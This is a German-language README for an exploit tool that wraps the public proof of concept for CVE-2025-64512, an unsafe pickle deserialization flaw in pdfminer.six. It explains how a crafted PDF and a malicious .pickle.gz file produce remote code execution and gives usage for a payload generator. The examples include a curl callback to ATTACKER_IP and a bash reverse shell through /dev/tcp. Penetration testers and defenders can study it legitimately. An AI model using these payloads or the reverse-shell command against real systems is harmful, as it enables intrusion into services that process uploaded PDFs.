
CLI-Wrapper für den CVE-2025-64512-PoC, der bösartige PDF- und pickle.gz-Payloads erzeugt, um unsichere Deserialisierung in pdfminer.six auszunutzen und so Remote-Code-Ausführung über manipulierte PDF-Verarbeitung zu ermöglichen.
⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests gedacht. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unautorisierte Nutzung ist illegal.
pdfminer.six ist eine weit verbreitete Python-Bibliothek zum Extrahieren von Text und Metadaten aus PDF-Dateien, die häufig in Dokumentenverarbeitungspipelines, CLI-Tools und KI-/Datenerfassungs-Workflows eingebettet ist. Betroffene Versionen laden CMap-Cache-Dateien (Character-Map) für die CJK-Schriftunterstützung mithilfe des pickle-Moduls von Python, ohne zu validieren, dass der aufgelöste Pfad innerhalb des erwarteten Cache-Verzeichnisses bleibt.
Eine speziell präparierte PDF-Datei kann für diese CMap-Suche auf einen vom Angreifer kontrollierten Pfad verweisen. Wenn ein Angreifer außerdem eine bösartige .pickle.gz-Datei an diesem aufgelösten Pfad platzieren kann (z. B. über eine im selben Kontext verfügbare Datei-Upload-Funktion), führt die Verarbeitung der PDF-Datei zu pickle.loads() auf vom Angreifer kontrollierten Daten, was zu beliebiger Codeausführung führt. Dieser genaue Mechanismus – einschließlich der PoC-PDF-Struktur – wurde von mtolley im offiziellen Advisory dokumentiert.
Dieses Repository enthält einen kleinen CLI-Wrapper um den offiziellen Proof-of-Concept, der im GitHub Security Advisory für CVE-2025-64512 veröffentlicht wurde. Es führt keine neue Ausnutzungstechnik ein – die bösartige PDF-Vorlage ist fast wortwörtlich aus dem Advisory übernommen; dieses Skript parametrisiert lediglich den Zielpfad, den auszuführenden Befehl und die Ausgabedateinamen, damit der PoC leichter wiederverwendbar ist.
CMapDB._load_data() in pdfminer.six löst einen CMap-Namen – der aus dem /Encoding-Eintrag einer PDF-Schrift stammt – in einen Dateipfad auf und lädt ihn mit pickle.loads(), wenn er auf .pickle.gz endet. Die Funktion validiert nicht, dass der aufgelöste Pfad innerhalb des eigenen cmap/-Verzeichnisses von pdfminer bleibt.
/Encoding auf einen vom Angreifer gewählten Pfad verweist (URL-kodiert, / als #2F)..pickle.gz-Datei, die zum Zeitpunkt der PDF-Verarbeitung unter <diesem Pfad>.pickle.gz im Zieldateisystem vorhanden ist.Beide Dateien können in der Regel über denselben Upload-Kanal geliefert werden, der letztendlich von pdfminer.six verarbeitet wird (z. B. eine Dokumentenaufnahmepipeline), solange die resultierenden Pfade auf der Festplatte vorhersagbar oder auffindbar sind.
1. Erzeugen einer bösartigen Pickle-Nutzlast (führt beim Unpickling einen Befehl aus)
2. Komprimieren als <name>.pickle.gz
3. Erzeugen einer "Trigger"-PDF, deren Schrift-/Encoding auf den vollständigen
Zielpfad dieser .pickle.gz im Zielsystem zeigt (ohne die Erweiterung)
4. Liefern beider Dateien an das Ziel, sodass sie an den erwarteten Pfaden liegen
5. Warten auf / Auslösen der Verarbeitung der Trigger-PDF durch pdfminer.six
(oder ein darauf aufbauendes Tool, z. B. pdf2txt.py)
6. pickle.loads() führt die Nutzlast aus -> RCE
gzip, pickle, argparse)Zum Generieren der Nutzlast sind keine Drittanbieter-Abhängigkeiten erforderlich. Das Ziel muss eine verwundbare pdfminer.six-Version (oder ein davon abhängiges Projekt) verwenden, die die hochgeladene PDF tatsächlich verarbeitet.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Ausgabedateiname für die Trigger-PDF (Standard: trigger.pdf)
--gz-out GZ_OUT Ausgabedateiname für die pickle.gz-Nutzlast (Standard: payload.pickle.gz)
--path PATH, -p PATH Vollständiger Pfad (ohne .pickle.gz) im ZIELDATEISYSTEM, unter dem die
pickle.gz landen wird, z. B. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Befehl, der auf dem Ziel ausgeführt werden soll (Standard: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
Dies erzeugt:
payload.pickle.gz — zuerst hochladen, nach .../uploads/payload.pickle.gztrigger.pdf — als Zweites hochladen; sobald das Ziel sie mit pdfminer.six verarbeitet, wird der Befehl ausgeführtpython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
| Feld | Wert |
|---|
| CVE | CVE-2025-64512 |
| Betroffen | pdfminer.six ≤ 20250506 (auch markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| Typ | Unsichere Deserialisierung (CWE-502) |
| Berechtigungen | Keine (unauthentifiziert, wenn die PDF-Verarbeitung exponiert ist) |
| Auswirkung | Beliebige Codeausführung |
| Patch | pdfminer.six 20251107+ |